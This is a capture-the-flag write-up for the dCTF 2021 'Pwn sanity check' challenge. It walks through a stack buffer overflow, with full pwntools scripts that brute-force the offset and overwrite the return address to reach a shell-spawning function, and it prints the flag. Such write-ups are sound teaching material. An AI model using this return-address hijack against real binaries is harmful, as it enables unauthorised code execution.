Pwn sanity check Writeup (dCTF 2021)

v1per

Type: Pwn

Difficulty: easy

Prompt: This should take about 1337 seconds to solve. nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480

Solution

First, I used the file command on the pwn_sanity_check file. This is the output I got:

So, we know that it’s a 64-bit LSB executable. Next, I opened the binary file usng Ghidra. The main function looked like this:

I opened the vuln() function, and found this:

Here, I saw that the input is being taken using ‘fgets’ and stored in ‘local_48’. Seeing this, the first thought which came to my mind was that this could be a buffer overflow challenge. In the next line I saw that if the value of ‘local_c’ is equal to ‘-0x21523f22’, it prints out a text and calls the ‘shell()’ function. Let’s open that:

It prints out that it is spawing the ‘/bin/sh process’, but it doesn’t really do anything except printing that. So, I guess that’s a deadend.

Looking around further, I found a ‘win()’ function which looked interesting:

This function takes two parameters as input and compares their values and actually spawns a shell. Now, here I thought - what if we could bypass the if conditions and directly go to the ‘system(“/bin/sh”);’ line?
I took note of the address of the line just before the line in which the shell was being spawned: 0x004006d6

Now, we need to find the offset at which our control enters the win function, I used this python script to find it:

from pwn import *

host='dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io'
port=7480

n=0
while(True):
	error=False
	payload=b'A'*n+p64(0x004006d6)

	r=remote(host,port)
	r.sendline(payload)
	r.recvline()
	r.recvline()

	try:
		s=r.recvline()
	except:
		error=True

	if error:
		print(n,'Trying...')
	else:
		print(n,'is the offset')
		break
	n+=1

From this script, the offset came out to be 72. Now, it’s time to finally find our flag. I ran this script:

from pwn import *

host='dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io'
port=7480

payload=b'A'*72+p64(0x004006d6)

r=remote(host,port)
r.sendline(payload)
r.interactive()

And, yay! I got the shell. I typed in ‘ls’ and saw that there’s a flag.txt file in there, so i did a ‘cat flag.txt’ and got the flag!
dctf{Ju5t_m0v3_0n}